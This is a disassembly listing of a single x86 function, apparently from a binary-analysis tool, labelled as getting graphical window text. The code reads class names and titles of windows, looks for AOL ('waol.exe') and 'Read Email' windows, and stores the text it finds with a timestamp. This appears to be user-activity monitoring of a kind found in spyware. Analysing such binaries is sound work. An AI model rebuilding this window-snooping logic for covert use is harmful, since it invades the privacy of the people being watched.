Function at 0x100495c5
Capabilities:
Get graphical window text

Disassembly:
mov eax, 0x100a35fa
call fcn.1007c8b4
sub esp, 0x8d0
cmp byte [0x100d2fdc], 0
push ebx
push esi
push edi
mov ebx, 0x100d1690
je 0x1004984f
push 6
push str.aol:__
push ebx
call fcn.10084780
add esp, 0xc
test eax, eax
je 0x1004960b
cmp byte [0x100d1690], 0
jne 0x1004984f
mov ebx, dword [ebp + 8]
call fcn.1003b643
test al, al
jne 0x10049620
call fcn.1003b493
test al, al
je 0x1004968a
push 6
pop ecx
xor eax, eax
mov esi, dword [sym.imp.USER32.dll_GetClassNameA]
lea edi, [ebp - 0x68]
rep stosd dword es:[edi], eax
push 0x19
stosb byte es:[edi], al
lea eax, [ebp - 0x68]
push eax
push ebx
call esi
lea edx, [ebp - 0x68]
mov edi, str.Shell_Embedding
xor ecx, ecx
movzx eax, byte [edx + ecx]
cmp al, byte [edi + ecx]
jne 0x10049657
inc ecx
cmp ecx, 0x10
jne 0x10049644
xor eax, eax
jmp 0x1004965c
sbb eax, eax
or eax, 1
test eax, eax
je 0x1004968a
push ebx
call dword [sym.imp.USER32.dll_GetTopWindow]
test eax, eax
je 0x1004968a
push 0x19
lea ecx, [ebp - 0x68]
mov ebx, eax
push ecx
push eax
call esi
lea edx, [ebp - 0x68]
xor ecx, ecx
movzx eax, byte [edx + ecx]
cmp al, byte [edi + ecx]
jne 0x10049660
inc ecx
cmp ecx, 0x10
jne 0x1004967b
mov edi, dword [sym.imp.USER32.dll_GetWindowTextA]
jmp 0x1004969f
push ebx
call dword [sym.imp.USER32.dll_GetParent]
mov ebx, eax
test ebx, ebx
je 0x100496b1
push 0x50
lea eax, [ebp - 0xb8]
push eax
push ebx
call edi
mov esi, eax
test esi, esi
jle 0x10049692
push dword [ebp + 8]
call fcn.1003b729
pop ecx
test al, al
je 0x100496e0
mov esi, str.Read_Email
lea edi, [ebp - 0xb8]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
lea esi, [ebp - 0xb8]
lea ecx, [esi + 1]
mov al, byte [esi]
inc esi
test al, al
jne 0x100496d7
sub esi, ecx
test esi, esi
je 0x10049935
xor ebx, ebx
lea ecx, [ebp - 0xb8]
push 0xf
pop esi
mov dword [ebp - 0x34], ebx
lea edx, [ecx + 1]
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x20], esi
mov byte [ebp - 0x34], bl
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10049702
sub ecx, edx
lea eax, [ebp - 0xb8]
push ecx
push eax
lea ecx, [ebp - 0x34]
call fcn.10002936
lea eax, [ebp - 0x34]
mov dword [ebp - 4], ebx
push eax
call fcn.1003b347
pop ecx
push 1
lea ecx, [ebp - 0x150]
call fcn.1003be7c
mov dword [ebp - 0x4c], ebx
mov dword [ebp - 0x3c], ebx
mov dword [ebp - 0x38], esi
mov byte [ebp - 0x4c], bl
mov eax, dword [ebp - 0x24]
lea ecx, [ebp - 0x34]
push 0x10
pop edi
cmp dword [ebp - 0x20], edi
lea edx, [ebp - 0x4c]
push edx
cmovae ecx, dword [ebp - 0x34]
add eax, ecx
mov byte [ebp - 4], 2
cmp dword [ebp - 0x20], edi
lea ecx, [ebp - 0x34]
push eax
cmovae ecx, dword [ebp - 0x34]
push ecx
call fcn.1003bce9
add esp, 0xc
lea eax, [ebp - 0x4c]
push eax
lea eax, [ebp - 0x150]
push str.aol:__waol.exe__cs_title
push eax
call fcn.10002b64
pop ecx
pop ecx
push eax
call fcn.10002cf0
pop ecx
pop ecx
lea eax, [ebp - 0x68]
push eax
lea ecx, [ebp - 0x14c]
call fcn.10022810
cmp dword [ebp - 0x54], edi
lea eax, [ebp - 0x68]
push 0x823
cmovae eax, dword [ebp - 0x68]
push eax
push 0x100d1690
call fcn.10085700
add esp, 0xc
lea ecx, [ebp - 0x68]
call fcn.100028b5
mov eax, dword [ebp - 0x38]
cmp eax, edi
jb 0x100497f8
mov ecx, dword [ebp - 0x4c]
inc eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], ecx
cmp eax, 0x1000
jb 0x100497ef
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x18]
push eax
call fcn.10001c26
mov eax, dword [ebp - 0x14]
pop ecx
pop ecx
mov ecx, dword [ebp - 0x18]
push eax
push ecx
call fcn.1007c382
pop ecx
pop ecx
lea ecx, [ebp - 0x150]
mov dword [ebp - 0x3c], ebx
mov dword [ebp - 0x38], esi
mov byte [ebp - 0x4c], bl
call fcn.1003c6ca
or dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x20]
cmp eax, edi
jb 0x10049935
mov ecx, dword [ebp - 0x34]
inc eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], ecx
cmp eax, 0x1000
jb 0x10049841
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x14]
push eax
call fcn.10001c26
mov eax, dword [ebp - 0x18]
pop ecx
pop ecx
mov ecx, dword [ebp - 0x14]
push eax
push ecx
call fcn.1007c382
pop ecx
pop ecx
jmp 0x10049935
call fcn.10049e5d
test al, al
je 0x10049935
cmp byte [0x100d1690], 0
jne 0x10049935
mov esi, 0x824
lea eax, [ebp - 0x8dc]
push esi
push 0
push eax
call fcn.1007f880
push esi
lea eax, [ebp - 0x8dc]
push eax
push dword [ebp + 8]
call fcn.100405f4
add esp, 0x18
test eax, eax
jne 0x10049935
cmp byte [0x100d2da8], al
je 0x100498c3
lea ecx, [ebp - 0xd]
call fcn.1004800c
mov esi, eax
mov ecx, esi
call fcn.10027e90
lea eax, [ebp - 0x8dc]
push eax
push esi
push 3
call fcn.100546cc
add esp, 0xc
lea ecx, [ebp - 0x8dc]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x100498cc
sub ecx, edx
je 0x10049935
mov esi, 0x100d15f8
mov ecx, esi
mov dword [ebp - 0x1c], esi
call fcn.100786c1
mov byte [ebp - 0x18], 1
lea ecx, [ebp - 0x8dc]
mov dword [ebp - 4], 3
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x100498fa
sub ecx, edx
lea eax, [ebp - 0x8dc]
push ecx
push eax
mov ecx, 0x100cb2cc
call fcn.10002936
push 0x823
lea eax, [ebp - 0x8dc]
push eax
push ebx
call fcn.10085700
add esp, 0xc
mov ecx, esi
call fcn.100784db
or dword [ebp - 4], 0xffffffff
cmp byte [0x100d2da8], 0
je 0x1004995d
lea ecx, [ebp - 0xd]
call fcn.10047a9a
mov esi, eax
mov ecx, esi
call fcn.1004a81d
push dword [ebp + 8]
push esi
push 3
call fcn.100546cc
add esp, 0xc
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push dword [ebp + 8]
mov dword [0x100d20e0], eax
push 2
call fcn.1004a085
pop ecx
pop ecx
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret